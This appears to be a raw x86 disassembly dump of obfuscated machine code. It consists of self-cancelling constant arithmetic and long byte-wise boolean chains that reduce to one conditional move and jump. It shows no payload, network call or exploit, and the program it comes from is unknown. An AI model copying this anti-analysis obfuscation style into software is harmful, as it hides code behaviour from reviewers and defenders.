mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x1578], eax
mov eax, esi
sub eax, 0xcba563ed
add eax, 0
mov dword [ebp - 0x157c], eax
mov eax, edi
sub eax, 0xe2a1abf3
mov dword [ebp - 0x1580], ecx
mov ecx, dword [ebp - 0x157c]
add eax, ecx
add eax, 0xe2a1abf3
sub eax, 0xb67ef05f
sub eax, 0xfa8a4e9e
add eax, 0xb67ef05f
add eax, 0x465239b4
sub eax, 1
sub eax, 0x465239b4
add eax, 0x211ab101
add eax, 0xfa8a4e9e
sub eax, 0x211ab101
mov ecx, esi
sub ecx, 0xa95388d8
add eax, ecx
mov ecx, esi
sub ecx, 0xcba563ed
sub eax, ecx
sub esi, 0xa95388d8
sub eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 0
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x1581], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1582], al
and al, 0
and ah, bh
mov byte [ebp - 0x1583], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x1584], al
mov al, byte [ebp - 0x1583]
or al, ah
mov ah, byte [ebp - 0x1584]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x1582]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x1585], al
mov al, bl
and al, 0
mov byte [ebp - 0x1586], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x1587], al
mov al, byte [ebp - 0x1586]
or bh, al
mov al, byte [ebp - 0x1587]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1585]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x1585]
and ah, cl
or al, ah
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor dh, 0xff
mov ch, ah
xor ch, 0xff
mov bl, dl
xor bl, 0
or dh, ch
or bl, 0
xor dh, 0xff
and dh, bl
mov ch, byte [ebp - 0x1581]
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x1581]
and bh, bl
mov byte [ebp - 0x1588], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 0
mov bl, ch
xor bl, al
and bl, ch
mov al, byte [ebp - 0x1581]
xor al, 0xff
xor ah, 0xff
mov ch, dl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov cl, bl
and cl, al
xor bl, al
or cl, bl
mov al, ah
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
and ah, cl
or ch, ah
mov al, ch
xor al, 0xff
mov cl, byte [ebp - 0x1588]
xor cl, al
mov al, byte [ebp - 0x1588]
and cl, al
xor al, 0xff
mov ah, ch
and ah, al
xor ch, 0xff
mov al, byte [ebp - 0x1588]
and al, ch
or ah, al
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
xor dl, 1
mov dh, al
and dh, 0xff
and cl, dl
mov bl, ch
and bl, 0xff
and ah, dl
or dh, cl
or bl, ah
xor dh, bl
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x1578]
mov edi, dword [ebp - 0x1580]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x9378ef66
mov ecx, 0x93971aae
mov dl, 1
mov esi, 0xf118c714
xor edi, edi
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x158c], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x1590], eax
mov eax, ebx
sub eax, 0x84a79049
sub eax, 0x633579c1
add eax, 0x84a79049
mov dword [ebp - 0x1594], eax
mov eax, edi
sub eax, 0xfec64c1a
mov dword [ebp - 0x1598], eax
mov eax, dword [ebp - 0x1594]
mov dword [ebp - 0x159c], ecx
mov ecx, dword [ebp - 0x1598]
add eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, edi
sub eax, 0x633579c1
add ecx, eax
mov eax, edi
sub eax, ecx
mov ecx, edi
sub ecx, 0x6282e29a
sub eax, ecx
mov ecx, edi
sub ecx, 1
add eax, ecx
add eax, 0xa6ef38cc
sub eax, 0x6282e29a
sub eax, 0xa6ef38cc
mov ecx, edi
sub ecx, 0xa60099a9
sub ecx, eax
add ecx, 0xa60099a9
sub edi, 0x1b77d552
sub edi, 0xfec64c1a
add edi, 0x1b77d552
sub ecx, 0xe94dd238
add ecx, edi
add ecx, 0xe94dd238
add esi, 0
sub esi, ecx
sub esi, 0xf118c714
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x1590]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov bh, dl
xor bh, 1
and bh, 1
or ch, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x159d], al
mov al, ch
xor al, bh
and al, ch
mov ch, dl
xor ch, 1
xor cl, 0xff
mov bh, dl
xor bh, 0
or ch, cl
or bh, 0
xor ch, 0xff
and ch, bh
mov cl, ah
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x159e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x159f], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x15a0], al
mov al, byte [ebp - 0x159f]
and ah, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x15a1], al
mov al, byte [ebp - 0x159f]
and bl, al
mov al, byte [ebp - 0x15a0]
or al, ah
mov ah, byte [ebp - 0x15a1]
or ah, bl
xor al, ah
or cl, bh
xor cl, 0xff
mov ah, byte [ebp - 0x159f]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x159e]
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x15a2], al
mov al, byte [ebp - 0x159e]
and al, bl
mov byte [ebp - 0x15a3], al
mov al, ah
and al, 0
and ch, bl
mov byte [ebp - 0x15a4], al
mov al, byte [ebp - 0x15a3]
or bh, al
mov al, byte [ebp - 0x15a4]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x15a2]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x15a2]
and al, bh
or cl, al
mov al, byte [ebp - 0x159d]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x159d]
and ch, ah
or al, ch
mov ah, dl
xor ah, 1
xor al, 0xff
mov ch, dl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, dl
xor al, 1
and al, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x159d]
xor ch, 0xff
xor al, 0xff
mov bl, dl
xor bl, 0
or ch, al
or bl, 0
xor ch, 0xff
and ch, bl
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
and bl, 1
or ah, bl
mov bl, dl
xor bl, 1
xor ah, 0xff
mov bh, dl
xor bh, 0
or bl, ah
or bh, 0
xor bl, 0xff
and bl, bh
mov ah, ch
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x15a5], al
mov al, dl
xor al, 1
mov byte [ebp - 0x15a6], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x15a7], al
mov al, byte [ebp - 0x15a6]
and ch, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x15a8], al
mov al, byte [ebp - 0x15a6]
and bl, al
mov al, byte [ebp - 0x15a7]
or al, ch
mov ch, byte [ebp - 0x15a8]
or ch, bl
xor al, ch
or ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x15a6]
or ch, 1
and ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bl, cl
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x15a9], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x15aa], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x15ab], al
mov al, byte [ebp - 0x15aa]
or al, bh
mov bh, byte [ebp - 0x15ab]
or bh, bl
xor al, bh
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ah, dl
xor ah, 1
mov ch, al
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x15ac], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x15ad], al
mov al, bh
and al, 1
mov byte [ebp - 0x15ae], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x15af], al
mov al, byte [ebp - 0x15ac]
and al, bh
mov byte [ebp - 0x15b0], al
mov al, byte [ebp - 0x15ad]
mov byte [ebp - 0x15b1], cl
mov cl, byte [ebp - 0x15ae]
or al, cl
mov cl, byte [ebp - 0x15af]
mov byte [ebp - 0x15b2], al
mov al, byte [ebp - 0x15b0]
or cl, al
mov al, byte [ebp - 0x15b2]
xor al, cl
or ah, ch
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, bl
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0
and ah, 1
or cl, bl
or ch, ah
xor cl, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x15a9]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x15a9]
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or al, ch
or bl, cl
xor al, bl
mov cl, dh
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, dh
and cl, al
or ch, cl
xor ch, 0xff
xor dh, 0xff
mov al, dl
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x15a5]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov dh, byte [ebp - 0x15a5]
and dh, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or al, dh
or bl, cl
xor al, bl
mov cl, dl
xor cl, 1
and cl, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x15b3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x15b4], al
mov al, bl
and al, 0
mov byte [ebp - 0x15b5], al
mov al, byte [ebp - 0x15b3]
mov byte [ebp - 0x15b6], cl
mov cl, byte [ebp - 0x15b4]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x15b7], al
mov al, byte [ebp - 0x15b6]
mov byte [ebp - 0x15b8], cl
mov cl, byte [ebp - 0x15b4]
and al, cl
mov cl, byte [ebp - 0x15b5]
mov byte [ebp - 0x15b9], al
mov al, byte [ebp - 0x15b7]
or cl, al
mov al, byte [ebp - 0x15b8]
mov byte [ebp - 0x15ba], cl
mov cl, byte [ebp - 0x15b9]
or al, cl
mov cl, byte [ebp - 0x15ba]
xor cl, al
or bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x15b4]
or al, 0
and bl, al
or cl, bl
mov al, dl
xor al, 0
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x15bb], al
and al, 0xff
mov byte [ebp - 0x15bc], al
mov al, bh
and al, 0
mov byte [ebp - 0x15bd], al
mov al, bl
and al, 0xff
and dh, bh
mov byte [ebp - 0x15be], al
mov al, byte [ebp - 0x15bc]
mov byte [ebp - 0x15bf], cl
mov cl, byte [ebp - 0x15bd]
or al, cl
mov cl, byte [ebp - 0x15be]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x15bb]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x15bf]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x15bf]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or cl, al
or dh, 1
xor cl, 0xff
and cl, dh
mov al, byte [ebp - 0x159d]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x159d]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or al, bl
or bh, dh
xor al, bh
mov dh, byte [ebp - 0x15a9]
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x15a9]
and bh, bl
mov byte [ebp - 0x15c0], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x15c1], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x15c2], al
mov al, byte [ebp - 0x15c1]
or al, bh
mov bh, byte [ebp - 0x15c2]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x15c0]
and bl, dh
mov bh, byte [ebp - 0x15c0]
xor bh, dh
or bl, bh
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, dl
xor bh, 0
and bl, bh
mov byte [ebp - 0x15c3], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x15c4], al
mov al, byte [ebp - 0x15c3]
or al, bl
mov bl, byte [ebp - 0x15c4]
or bl, bh
xor al, bl
xor al, 0xff
xor dh, 0xff
mov bl, dl
xor bl, 0
or al, dh
or bl, 0
xor al, 0xff
and al, bl
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
or dh, bh
mov bl, ch
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x15c5], al
mov al, ch
and al, bh
or bl, al
mov al, dl
xor al, 0
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x15c6], al
mov al, bh
and al, 0
mov byte [ebp - 0x15c7], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x15c8], al
mov al, byte [ebp - 0x15c6]
mov byte [ebp - 0x15c9], cl
mov cl, byte [ebp - 0x15c7]
or al, cl
mov cl, byte [ebp - 0x15c8]
or cl, bh
xor al, cl
mov cl, dl
xor cl, 0
mov bh, dh
xor bh, cl
and bh, dh
xor ah, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x15ca], al
mov al, dl
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, bl
xor al, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x15cb], al
mov al, dl
xor al, 0
mov byte [ebp - 0x15cc], al
mov al, byte [ebp - 0x15cb]
or al, cl
mov cl, byte [ebp - 0x15cc]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x15ca]
xor cl, 0xff
mov byte [ebp - 0x15cd], al
mov al, ch
xor al, cl
and al, ch
mov cl, bh
and cl, ah
xor bh, ah
or cl, bh
mov ah, byte [ebp - 0x15cd]
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x15ce], al
mov al, ah
and al, 0
mov byte [ebp - 0x15cf], al
mov al, byte [ebp - 0x15cd]
and al, bh
mov byte [ebp - 0x15d0], al
mov al, ch
and al, 0
mov byte [ebp - 0x15d1], al
mov al, byte [ebp - 0x15ce]
and al, bh
mov byte [ebp - 0x15d2], al
mov al, byte [ebp - 0x15cf]
mov byte [ebp - 0x15d3], cl
mov cl, byte [ebp - 0x15d0]
or al, cl
mov cl, byte [ebp - 0x15d1]
mov byte [ebp - 0x15d4], al
mov al, byte [ebp - 0x15d2]
or cl, al
mov al, byte [ebp - 0x15d4]
xor al, cl
or ah, ch
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x15d3]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x15d3]
and ch, ah
mov bh, al
xor bh, 0xff
and bh, 0
and al, ah
or cl, ch
or bh, al
xor cl, bh
mov al, dh
and al, bl
xor dh, bl
or al, dh
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or ah, al
or dh, ch
xor ah, dh
mov al, byte [ebp - 0x15ca]
and al, 0
mov ch, byte [ebp - 0x15ca]
xor ch, 0
or al, ch
xor ah, 0xff
xor al, 0xff
mov ch, dl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, al
and bl, 0xff
and cl, dh
mov bh, ch
and bh, 0xff
and ah, dh
or bl, cl
or bh, ah
xor bl, bh
or al, ch
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov al, byte [ebp - 0x15c5]
xor al, 0xff
mov cl, byte [ebp - 0x15c9]
xor cl, al
mov al, byte [ebp - 0x15c9]
and cl, al
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x15c9]
and ch, ah
mov dh, byte [ebp - 0x15c5]
xor dh, 0xff
and dh, 0xff
mov bh, byte [ebp - 0x15c5]
and bh, ah
or al, ch
or dh, bh
xor al, dh
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, ah
and bh, 0xff
and cl, dh
mov byte [ebp - 0x15d5], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x15d6], al
mov al, byte [ebp - 0x15d5]
and al, dh
or bh, cl
mov cl, byte [ebp - 0x15d6]
or cl, al
xor bh, cl
or ah, ch
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bl
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0xff
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
xor al, 0xff
mov ah, bl
xor ah, al
and ah, bl
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, byte [ebp - 0x15a5]
xor cl, 0xff
mov ah, byte [ebp - 0x15b1]
xor ah, cl
mov cl, byte [ebp - 0x15b1]
and ah, cl
xor cl, 0xff
mov ch, byte [ebp - 0x15a5]
and ch, cl
mov cl, byte [ebp - 0x15a5]
xor cl, 0xff
mov dh, byte [ebp - 0x15b1]
and dh, cl
or ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
or ah, dh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
xor cl, 0xff
mov dh, ch
xor dh, 0xff
mov bl, dl
xor bl, 1
or cl, dh
or bl, 1
xor cl, 0xff
and cl, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
mov bl, dl
xor bl, 1
mov bh, dh
xor bh, bl
and bh, dh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dh, ah
and dh, cl
xor ah, cl
or dh, ah
mov cl, bh
and cl, ch
xor bh, ch
or cl, bh
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ch
or ah, dh
or bl, cl
xor ah, bl
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, byte [ebp - 0x15a9]
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x15a9]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
and dh, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x15d7], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
mov bl, cl
xor bl, al
and bl, cl
mov al, dl
xor al, 1
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x15d8], al
mov al, dl
xor al, 0
mov byte [ebp - 0x15d9], al
mov al, byte [ebp - 0x15d8]
or al, bh
mov bh, byte [ebp - 0x15d9]
or bh, 0
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x15da], al
mov al, dl
xor al, 0
mov byte [ebp - 0x15db], al
mov al, dl
xor al, 1
mov byte [ebp - 0x15dc], al
mov al, byte [ebp - 0x15db]
or bh, al
mov al, byte [ebp - 0x15dc]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x15a9]
xor al, 0xff
mov byte [ebp - 0x15dd], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x15de], al
mov al, dl
xor al, 1
mov byte [ebp - 0x15df], al
mov al, byte [ebp - 0x15dd]
mov byte [ebp - 0x15e0], cl
mov cl, byte [ebp - 0x15de]
or al, cl
mov cl, byte [ebp - 0x15df]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
mov byte [ebp - 0x15e1], al
mov al, byte [ebp - 0x15da]
and cl, al
xor bl, al
or cl, bl
mov bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x15e1]
xor al, 0xff
mov byte [ebp - 0x15e2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x15e3], al
mov al, bl
and al, 0
mov byte [ebp - 0x15e4], al
mov al, byte [ebp - 0x15e3]
and bh, al
mov al, byte [ebp - 0x15e2]
and al, 0
mov byte [ebp - 0x15e5], al
mov al, byte [ebp - 0x15e1]
mov byte [ebp - 0x15e6], cl
mov cl, byte [ebp - 0x15e3]
and al, cl
mov cl, byte [ebp - 0x15e4]
or cl, bh
mov bh, byte [ebp - 0x15e5]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x15e2]
or bl, al
xor bl, 0xff
mov bh, byte [ebp - 0x15e3]
or bh, 0
and bl, bh
or cl, bl
mov bl, byte [ebp - 0x15e6]
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
mov al, byte [ebp - 0x15e6]
and al, bh
mov byte [ebp - 0x15e7], al
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
mov bh, byte [ebp - 0x15e7]
or bl, bh
or al, cl
xor bl, al
mov al, byte [ebp - 0x15e0]
and al, ch
mov cl, byte [ebp - 0x15e0]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, al
or bh, ch
xor cl, bh
mov al, dl
xor al, 0
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x15e8], al
and al, 0xff
mov byte [ebp - 0x15e9], al
mov al, bh
and al, 0
mov byte [ebp - 0x15ea], al
mov al, ch
and al, 0xff
and dh, bh
mov byte [ebp - 0x15eb], al
mov al, byte [ebp - 0x15e9]
mov byte [ebp - 0x15ec], cl
mov cl, byte [ebp - 0x15ea]
or al, cl
mov cl, byte [ebp - 0x15eb]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x15e8]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x15ec]
xor cl, 0xff
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, bl
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
and bl, dh
mov byte [ebp - 0x15ed], al
mov al, ch
and al, 0
and cl, dh
or bh, bl
or al, cl
xor bh, al
mov al, byte [ebp - 0x15ed]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and ah, cl
or al, ah
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bh, ah
or cl, bh
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
and ch, 0
or ah, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
and al, 0
xor ah, 0
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and ch, ah
or cl, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x15d7]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x15d7]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, byte [ebp - 0x15d7]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x15ee], al
mov al, dl
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov al, cl
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x15ef], al
mov al, dl
xor al, 1
mov byte [ebp - 0x15f0], al
mov al, byte [ebp - 0x15ef]
or al, bh
mov bh, byte [ebp - 0x15f0]
or bh, 1
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x15f1], al
mov al, ah
xor al, bh
and al, ah
mov ah, bl
and ah, dh
xor bl, dh
or ah, bl
mov dh, byte [ebp - 0x15f1]
and dh, al
mov bl, byte [ebp - 0x15f1]
xor bl, al
or dh, bl
mov al, ah
xor al, 0xff
mov bl, dh
and bl, al
xor dh, 0xff
and ah, dh
or bl, ah
mov al, byte [ebp - 0x15ee]
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
